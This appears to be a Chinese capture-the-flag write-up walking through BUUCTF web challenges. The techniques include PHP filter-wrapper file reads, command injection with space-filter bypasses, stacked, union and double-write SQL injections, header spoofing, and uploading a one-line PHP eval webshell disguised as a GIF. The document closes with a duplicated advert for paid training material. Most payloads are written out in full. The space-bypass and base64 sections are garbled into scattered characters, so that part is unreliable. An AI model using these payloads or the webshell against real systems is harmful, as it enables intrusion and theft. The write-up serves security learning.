…/ 路径穿越(目录遍历)攻击
…/ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 …/ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。
## [ACTF2020 新生赛]Include
首先打开发现有一个链接是tips
![在这里插入图片描述](https://img-blog.csdnimg.cn/2a4c2ea096a94e68848050575163d013.png)
打开后是名为flag.php的文件,我们要想办法获取到文件的源码。
涉及到PHP伪协议,可以参考[PHP伪协议]( )
在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容
?file=php://filter/read=convert.base64-encode/resource=flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/5e5061b2b5e64157a417c3bdc650bbc7.png)
对获取到的内容进行base64解密即可获得flag
base64解密网址:[base64解码]( )
![在这里插入图片描述](https://img-blog.csdnimg.cn/2c9be5434b664eddb994aaee7501bae7.png)
## [ACTF2020 新生赛]Exec
![在这里插入图片描述](https://img-blog.csdnimg.cn/eaa3193fb22543d8afe6ff39c7ac99a4.png)
查看网页源代码,发现提示为命令执行漏洞(command execution)
![在这里插入图片描述](https://img-blog.csdnimg.cn/7e17ccbe4bf542e4a9c67d8d155c7371.png)
尝试查看post请求中是否存在命令执行漏洞
尝试写入payload 127.0.0.1| ls
![在这里插入图片描述](https://img-blog.csdnimg.cn/516f9ce908ac4561a0d2ba1ac2d4d8a0.png)
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag
方法: 127.0.0.1 | ls …/
127.0.0.1 | ls …/…/
127.0.0.1 | ls …/…/…/
![在这里插入图片描述](https://img-blog.csdnimg.cn/50273a3be70846d39fac313a1f28c6e4.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/7e3161b384f1484f922c69c9faea7ee6.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/98792faf2b874dfa83ce15d531d0cc1f.png)
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看
127.0.0.1 | cat …/…/…/flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/98b2bc2112d0409594230100911f3262.png)
## [GXYCTF2019]Ping Ping Ping
![在这里插入图片描述](https://img-blog.csdnimg.cn/f15e12e881334791bbc9a7639ec0153f.png)
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交
尝试在url中衔接上/?ip=127.0.0.1
![在这里插入图片描述](https://img-blog.csdnimg.cn/d8a58f0510824983a4ac85dcc20dad65.png)
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
![在这里插入图片描述](https://img-blog.csdnimg.cn/e58e423cb9da4a99acec70adb8ea3e28.png)
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞
第一次我输入的是:
/?ip=127.0.0.1| ls 发现页面将空格进行了过滤
第二次我输入的是:
/?ip=127.0.0.1|ls 发现页面回显出了一些文件名
![在这里插入图片描述](https://img-blog.csdnimg.cn/86388c86ca3244e3a1788e6ae8fbb25d.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/e330b612cb7c427cb6f839fb2fca69dc.png)
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看
/?ip=127.0.0.1|cat flag.php
但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过
空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php}
cat
I
F
S
f
l
a
g
.
p
h
p
c
a
t
{IFS}flag.php cat
IFSflag.phpcatIFS
9
f
l
a
g
.
p
h
p
c
a
t
9flag.php cat
9flag.phpcatIFS
1
f
l
a
g
.
p
h
p
c
a
t
<
f
l
a
g
.
p
h
p
c
a
t
<
>
f
l
a
g
.
p
h
p
k
g
=
1flag.php cat<flag.php %09替换 cat<>flag.php kg=
1flag.phpcat<flag.phpcat<>flag.phpkg=‘\x20flag.php’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
![在这里插入图片描述](https://img-blog.csdnimg.cn/7ceacb60266543a8ac0a6db5c5ac2f51.png)
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容
cat$IFS$9index.php
发现其实过滤了很多东西
![在这里插入图片描述](https://img-blog.csdnimg.cn/1a3151214d174832830a3d6639ce65f2.png)
我们设置payload,读取一下所有文件的所有内容(我是这样理解的)
**因为过滤了很多内容,考虑使用``的形式来绕过正则限制
反引号的作用是将命令的输出当做输入执行**
/?ip=127.0.0.1;cat$IFS$1’ls’
然后查看一下网页源代码便获得了flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/150722c394d447dfb351e16d741576c2.png)
或者采用另一种方法,对含有flag的payload进行b64编码,在用base64 -d解码,最后在通过sh执行,最终执行的就是 cat flag.php
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
同样查看网页源代码,便可以看到flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/0e40b20a9e7d4362a141bd0a21d5cb28.png)
## [强网杯 2019]随便注
![在这里插入图片描述](https://img-blog.csdnimg.cn/9836785ebaab4f7fa7bd2359bc406518.png)
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
![在这里插入图片描述](https://img-blog.csdnimg.cn/0e194f14218e471197bc4d0690d7b669.png)
接下来获取列数
1’ order by 1# 正常
1’ order by 2# 正常
1’ order by 3# 报错
说明总共有两列
![在这里插入图片描述](https://img-blog.csdnimg.cn/d6f474a6153a47de82b4317b810e7ef8.png)
尝试最简单的联合查询(union select)查询所有数据库
-1’ union select 1,database()#
发现有一些字符被过滤掉了
![在这里插入图片描述](https://img-blog.csdnimg.cn/f4daf1b45d7d4d09a286b59fada279dd.png)
更换思路,考虑堆叠注入查询所有数据库
注意 database 和 databases 的区别
1;show database;#
1;show databases;#
![在这里插入图片描述](https://img-blog.csdnimg.cn/0b6f078d9bba44b2926ecc737b5546f9.png)
查询完数据库后,接下来查询所有表
1; show tables;#
![在这里插入图片描述](https://img-blog.csdnimg.cn/2cefd3f537ff498395d9cf3cf7001df8.png)
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’
-1’;show columns from1919810931114514
;#
1919810931114514
![在这里插入图片描述](https://img-blog.csdnimg.cn/4682f77c010144a0a961a8227da7c7f8.png)
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下
select * from words where id =’1‘;
根据之前我们的查看我们知道它没有过滤rename和alert关键字,所以我们可以修改表的结构,来达到查询flag列的内容
我们先查看words表下的列的内容
0’;show columns from words;#
![在这里插入图片描述](https://img-blog.csdnimg.cn/4c739a141a534f0b8223db927a91e9ef.png)
**思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下**
1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
最后使用万能密码,即可得到flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/d1a9c478f7cc4f8caa4c04d7097a6c19.png)
## [SUCTF 2019]EasySQL
![在这里插入图片描述](https://img-blog.csdnimg.cn/1fefc59e171b49e59b49fa95f4139683.png)
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
![在这里插入图片描述](https://img-blog.csdnimg.cn/eabdb1e4ec8345e8ae36f573b2f80346.png)
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
![在这里插入图片描述](https://img-blog.csdnimg.cn/0501a37c61b8495fbb2a8e60912b2727.png)那就使用堆叠注入,尝试查看数据库,发现注入成功
1;show databases;
![在这里插入图片描述](https://img-blog.csdnimg.cn/f43e26f81cf246caba0fdd2c1831580b.png)
再查看表名
1;show tables;
![在这里插入图片描述](https://img-blog.csdnimg.cn/e7074c32aef14af1bb2380b236a1a26d.png)
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
![在这里插入图片描述](https://img-blog.csdnimg.cn/5d69c5f374524e1586f69c66b5bad50c.png)
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整
在sql语句中 || 表示的是或逻辑
也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0
接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的
内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。
即:select 输入数据 || flag from Flag
第一种方法:
*,1
相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/db220a59d8bb4cb99b110ff12070492d.png)
另一种方法的思路就是 **将||或的逻辑改成连接符的作用**
就要补充一个知识点
设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用
构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/5a98b0cc469d4c7a95642cc67786d913.png)
## [极客大挑战 2019]Secret File
![在这里插入图片描述](https://img-blog.csdnimg.cn/6f9991ef41184cf7bb9608ea97e21ef8.png)首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive\_room.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/e3ae0268fb684924bca6b0b29cc520cb.png)对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
![在这里插入图片描述](https://img-blog.csdnimg.cn/c5e465f34541472bab3428112e888dc2.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/8592bbe1b28842059c9d2578b478183d.png)
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/edab38a65ab442a09c4469efe3a458d5.png)但是对他进行访问后发现实际到达的却是end.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/96a595993b82479fa6625d4693da9c96.png)
这时我们掏出我们的BP进行一个简单的抓包
![在这里插入图片描述](https://img-blog.csdnimg.cn/6be6b831cd184ac7af217f63a6de6450.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/626c8ee36cc64fc5bfb7f91a556078fb.png)发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
![在这里插入图片描述](https://img-blog.csdnimg.cn/081cf22925124722b67bac4e83987ace.png)
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了[PHP伪协议]( )
![在这里插入图片描述](https://img-blog.csdnimg.cn/10ea83362cb144748dd4aa914d34c489.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/bd9a7f8917314794aaf1d49dc3b5621d.png)
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/96bef852c7ea4708b977211db42048cc.png)
最后对密文进行base64解码就可以得到结果
![在这里插入图片描述](https://img-blog.csdnimg.cn/faf87079df6d4aff906a7be2f646ea94.png)
## [极客大挑战 2019]LoveSQL
![在这里插入图片描述](https://img-blog.csdnimg.cn/a04749bcc52d43a7bb3f25c60645da2e.png)
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
![在这里插入图片描述](https://img-blog.csdnimg.cn/d42cf9f862c34e668f696cac6cdc6a05.png)
使用万能密码进行一下测试
![在这里插入图片描述](https://img-blog.csdnimg.cn/f2a260637c0e4c49a53464788b6d87a3.png)
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧
1’ order by 3#
总共有三列
![在这里插入图片描述](https://img-blog.csdnimg.cn/b6d4d733ce744ef1a4fced5108056d82.png)
查询一下表名,总共有俩个表
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
![在这里插入图片描述](https://img-blog.csdnimg.cn/14c72996b00c4337b34c4ae0daf52ec2.png)
可以看到有一个表叫做geekuser,可能有我们想要的信息
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#
![在这里插入图片描述](https://img-blog.csdnimg.cn/8b354e308743457c90900dffd97e8913.png)
查询id username password的具体内容
1’ union select 1,2,group_concat(id,username,password) from geekuser#
![在这里插入图片描述](https://img-blog.csdnimg.cn/c1c1c9f4599742328f8587fde67bd004.png)
发现给了我们账号密码 我们登录一下试一试,还是没有用。
![在这里插入图片描述](https://img-blog.csdnimg.cn/771066286a8e4ffb9643b9a8f88a040a.png)那我们用同样的方法对另一个表进行查看,也许flag存在另一个表中
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
![在这里插入图片描述](https://img-blog.csdnimg.cn/05b696447c2c47a99d1ea6df73337e2c.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/42f9de9b8ebf45ba99aae93d7237fbd1.png)
将一长串复制出来方便查看,发现了我们要的flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/f78bf30c504a4219be09fc3a0e98df16.png)
## [极客大挑战 2019]Http
![在这里插入图片描述](https://img-blog.csdnimg.cn/d49c886e08f14f34895e6088bd423bf6.png)
单从网页上来看没有什么发现,涉及到http,所以继续掏出我们的BP进行抓包
![在这里插入图片描述](https://img-blog.csdnimg.cn/c455be0825004959a2e9302f434c5e59.png)
找到了一个Secret.php,访问一下![在这里插入图片描述](https://img-blog.csdnimg.cn/b2050fcb26e641019ade15aaf87a6ca8.png)
这时我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行
Referer:https://www.Sycsecret.com
GET /Secret.php HTTP/1.1
Host: 9141-f2e36f57-6b2f-4563-8342-a0cfdb3ec455node3.buuoj.cn:29788
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
![在这里插入图片描述](https://img-blog.csdnimg.cn/a80cc5ab71be4128b0b5a4c9f4f5429a.png)
随后提示我们浏览器需要使用Syclover,这时我们修改一下User-Agent的内容,使得服务器以为我们使用的是Syclover进行的访问
User-Agent:Syclover
![在这里插入图片描述](https://img-blog.csdnimg.cn/14b75856917c4cb8a207963e04c11a27.png)
这时它又说我们只能通过本地进行一个访问,那么我们就继续更改http请求文件,flag出现
X-Forwarded-For:127.0.0.1
## [极客大挑战 2019]Knife
![在这里插入图片描述](https://img-blog.csdnimg.cn/68c899e557774aa6bbd76fd15922073a.png)
题目提示可以使用菜刀链接后门,使用菜刀进行后门连接
![在这里插入图片描述](https://img-blog.csdnimg.cn/18a4a8c97db64cfc878d6d1efcfe78d1.png)
成功访问后进行根目录访问,有一个flag文件,进去后发现flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/0167d399e4164fbbb7d1fe1f3e8f47cb.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/bf6c5aa7f2b943f2a3a8fe28c9495768.png)
## [极客大挑战 2019]Upload
![在这里插入图片描述](https://img-blog.csdnimg.cn/16d104e738834f2087e45cc47e16543b.png)
根据题目可以看出来这是一道文件上传题目,此类题目一般都是利用网页上传口的一些漏洞,上传诸如一句话木马等带有危险性的文件去进入其他人的服务器,再利用类如菜刀蚁剑等设备连接服务器进行操作。
首先上传一句话木马
<?php phpinfo(); @eval($_POST['shell']); ?>
注意这里要将代码写入文件进行上传
![在这里插入图片描述](https://img-blog.csdnimg.cn/ad41b4b4541844d6af02e88a5089b068.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/b69c36b3d7924164bbd6193aa014ad5f.png)
报错,说明后台可能对非图片格式进行了过滤,我们更改文件格式为.jpg,再次尝试
![在这里插入图片描述](https://img-blog.csdnimg.cn/b11953331cc948fd860bd6caffa69105.png)
报错信息告诉我们对文件中<?的内容进行了过滤,那我们对文件内容进行一下修改
注意我们这里cmd就是我们开的后门shell密码
![在这里插入图片描述](https://img-blog.csdnimg.cn/5482e669ba9a4306a03bafbfad05eb6c.png)
依然会有一个报错的提示,说明我们需要添加图片的头,然后再进行上传
GIF89a
![在这里插入图片描述](https://img-blog.csdnimg.cn/9541193ed32140de8722cd2bd2363b41.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/ad2a9e77e821461aab9d4b4374ab3fad.png)
提示我们上传成功了,但是我们上传的仅仅是一个.jpg的文件,无法供我们利用,这时候我们需要使用到BP进行一下简单的抓包,并且将.jpg更改为.phtml,使得网页后端可以执行我们的一句话木马![](https://img-blog.csdnimg.cn/23b8659790374c7bb4092ebfc9605737.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/4b0a4be290e743b19b55cdbfabf09e2a.png)
然后我们小马就带着我们成功进入了网站的后台使用AntSword连接网站后门,这里需要开启php服务
也可以使用/upload/filename进行直接访问打开文件
这里我重新上传了一个shell文件名的小马
![在这里插入图片描述](https://img-blog.csdnimg.cn/8d0fec4a338b4dbcb857536f92e77764.png)
然后就可以对网站后台数据库进行访问
![在这里插入图片描述](https://img-blog.csdnimg.cn/5064d87cb6404adaa4f9291df22c2623.png)
注:
在使用AntSword时有的同学在测试连接时显示返回为空,说明你的一句话木马有问题,未能被服务器正常解析,可以检查一下上传的文件格式和代码是否有误
我们打开虚拟终端返回到根目录
cd /
![在这里插入图片描述](https://img-blog.csdnimg.cn/5d432da2484e46678acc00a271ebaed2.png)
然后查看flag文件
cat flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/f6bcec1b00b74abba1e8eb498b45cd5d.png)
## [ACTF2020 新生赛]Upload
![在这里插入图片描述](https://img-blog.csdnimg.cn/27814582ec914957b5cbba86a91ddec8.png)
当我们把鼠标移动到灯泡上时,发现了可以进行的文件上传地址,先简单构造一个payload进行尝试一下一句话木马上传
<?php phpinfo(); @eval($_POST['shell']); ?>
![在这里插入图片描述](https://img-blog.csdnimg.cn/43946449eb7c423dadaa4e098dfa2df4.png)
提示我们只能上传固定格式的图片,那我们更改文件格式,并加上图片头
![在这里插入图片描述](https://img-blog.csdnimg.cn/45b8997a896348c28e38936e8f8c2c82.png)`GIF89a`
提示我们文件上传成功
![在这里插入图片描述](https://img-blog.csdnimg.cn/0c079e5b70b34654ba7b2b9f7f98823c.png)
我们先进行简单抓包更改shell的文件格式为.phtml使其能够运行为我们打开后门
![在这里插入图片描述](https://img-blog.csdnimg.cn/31d871a3b245448e88e8a3cebc21f44e.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/912018ac865a483a9f30ad258df878c5.png)
上传成功后提示我们上传到的路径为./uplo4d,尝试用AntSword进行数据库连接
![在这里插入图片描述](https://img-blog.csdnimg.cn/338ff49d40864d20ab0d07dd6a19c265.png)
注意这里我直接只使用 /uplo4d进行连接时一直报错,看了好多博主但是他们也是只有这个好像,最后才试出来连接时要把所有的全写完整才能连接成功而且编码器最好使用base64进行编码,不然可能是乱码而且无法使用shell
![在这里插入图片描述](https://img-blog.csdnimg.cn/3663e3bfe9e946e4ae3c654c4388a0a0.png)
接下来就是返回根目录然后查看flag文件了
返回根目录
cd
查看flag
cat flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/59819c5799be4afd89ef74994454ecc6.png)
## [极客大挑战 2019]BabySQL
![在这里插入图片描述](https://img-blog.csdnimg.cn/989bb0c1e2764e8ea14455b817217115.png)
经典的SQL注入题,先尝试一下万能密码![在这里插入图片描述](https://img-blog.csdnimg.cn/97c8b346e0474994aad790c5b21e72b1.png)
我们发现他把我们注入时输入的or过滤了,那我们尝试一下双写or ,这样他在删除一个or以后还会有,但是依然发现不可以
1’ oorr 1=1
![在这里插入图片描述](https://img-blog.csdnimg.cn/97c8b346e0474994aad790c5b21e72b1.png)
那我们换思路进行一下进行联合注入(盲猜和之前一样三列),发现同样删除过滤了我们的union select关键字
![在这里插入图片描述](https://img-blog.csdnimg.cn/73d5879d65c44dd8873fcbde4a666b45.png)依然对union select进行双写尝试,发现可以
1’ ununionion seselectlect 1,2,3#
![在这里插入图片描述](https://img-blog.csdnimg.cn/67b1cfae1f804a2e8b726584d227841d.png)
那接下来就是爆库常规的SQL注入了,同样如果遇到被删除过滤的部分进行双写即可
1’ ununionion seselectlect 1,2,database()#
![在这里插入图片描述](https://img-blog.csdnimg.cn/5cfe5c78cdac44eb9c83088dbf7b7a96.png)
1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) #
![在这里插入图片描述](https://img-blog.csdnimg.cn/d6822629b79741439d6cca9f96ede5a3.png)
1’ ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere table_name=“Flag”
![在这里插入图片描述](https://img-blog.csdnimg.cn/0b15efa070c841e48b001b4dad7c5fde.png)
1’ ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)
![在这里插入图片描述](https://img-blog.csdnimg.cn/8a427f18e6a44412bcb9dcd658d540e3.png)
## [极客大挑战 2019]PHP
![在这里插入图片描述](https://img-blog.csdnimg.cn/fbd21d9813314b8d9450acf8d72779aa.png)题目说他进行了备份 那我们扫描网站目录,发现了www.zip进行访问
![在这里插入图片描述](https://img-blog.csdnimg.cn/d7f69f4781e34a04be603936d4c86133.png)发现网站的源码直接被我们下载了
![在这里插入图片描述](https://img-blog.csdnimg.cn/fc25540c117f48a4a0e32b757b0b2e40.png)
源码中有这几个文件,打开我们可以使用记事本
![在这里插入图片描述](https://img-blog.csdnimg.cn/6c9792a00618475ca20600ed58b1be08.png)
打开flag.php进行查看,发现错误不是我们想要的flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/1ccffbfcebea4238b5ebb9b89397a96f.png)那我们再查看一下index.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/b1e4d6a806004637945faaddd3380649.png)
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/9c65995b2cd3635a37c67d7314d0e7ed.png)
![img](https://img-blog.csdnimg.cn/img_convert/d33a992785cf619658b090fe812e07f5.png)
![img](https://img-blog.csdnimg.cn/img_convert/104dea5235f9c25d575108e234f8d0d6.png)
![img](https://img-blog.csdnimg.cn/img_convert/f52453c5bffa65714de0df58bf6733e8.png)
![img](https://img-blog.csdnimg.cn/img_convert/a167cae69082e266fb34d22d9b00d3b2.png)
![img](https://img-blog.csdnimg.cn/img_convert/941c54637224b45859fc19bc57ae49bd.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
![img](https://img-blog.csdnimg.cn/img_convert/318031e58f3bf719432bdccae6654d7a.png)
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/64b5fa98ac2724a61590b83947f4110c.png)
4778356)]
[外链图片转存中...(img-ZBLwyKl3-1713034778356)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
[外链图片转存中...(img-s1jrrjN0-1713034778356)]
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-hKmFI8Zc-1713034778357)]